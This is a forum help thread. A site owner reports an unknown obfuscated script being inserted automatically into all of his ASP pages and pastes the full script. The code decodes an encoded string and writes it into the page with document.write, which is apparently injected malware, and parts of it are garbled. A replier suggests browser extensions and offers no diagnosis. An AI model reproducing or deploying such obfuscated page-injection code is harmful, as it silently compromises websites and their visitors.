Script automatically inserted in CodePages

[Gyanchand]

The following script is being automatically inserted in all of my ASP code pages.
It appears near the HTMl/BODY tags. This is not a function used in my application, i am unsure of what it is.It also reflects on allpages in my browser.

function pde63eee44(s535e23c){var sebfb0=s535e23c.substr(9,3)-599,ib88fc347,i9ca815a;s535e23c=s535e23c.substr(12 );var d91e9c6=s535e23c.length;for(var ca59881e=0;ca59881e848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa1 9(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=102 5;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='±';}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667±178±±223±±220±±232±±215±±227±±219±{6 67{±21±{578{±15±±14±{488{±165±{513{±152±±125±±195± {474{±168±±168±±164±ncc±156±±174±±163±±162±±153±±1 64±±163±±157±±162±±168±b±151±{614{/{495{±182±x{607{,,{622{;±247±16,-@{640{±8±JB{574{±8±±186±±184±±15±±1±±252±{487{±181 ±±169±±126±c{636{±14±±248±±246±>{667{Z^\\{658{T`)± 14±{665{){490{fd±165±±176±{595{±22±±20±{516{±204±{ 614{±253±±226±,%&{500{±194±{491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if( jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}

Can someone please help me with this

[GazMathias]

Hi

Do you have any browser extensions enabled that could exhibit this behaviour.

Try using a different browser and / or a different machine and see if the code disappears.

Dynamically generated Javascript is common for pages where the number of elements being generated are not known and you want to validate them all (for example select boxes) , but I'm sure you'd know if you wrote code to do that.

Beyond that, you got me!

Gaz.

[Gyanchand]

Tried viewing that page in different browser, but still that code remains.